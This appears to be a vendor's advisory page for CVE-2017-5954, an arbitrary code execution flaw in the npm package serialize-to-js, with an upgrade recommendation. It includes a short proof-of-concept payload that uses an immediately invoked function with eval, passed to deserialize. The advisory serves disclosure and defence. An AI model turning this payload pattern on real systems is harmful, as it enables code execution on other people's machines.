Launch Week Day 1: Announcing Security Design Review
CRITICAL 9.8 npm

Code Execution Through IIFE in serialize-to-js

GHSA-mm62-wxc8-cf7m · CVE-2017-5954

Published · Modified

Description

Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

Ready to move

Start Securing

Free, no credit card | First findings in minutes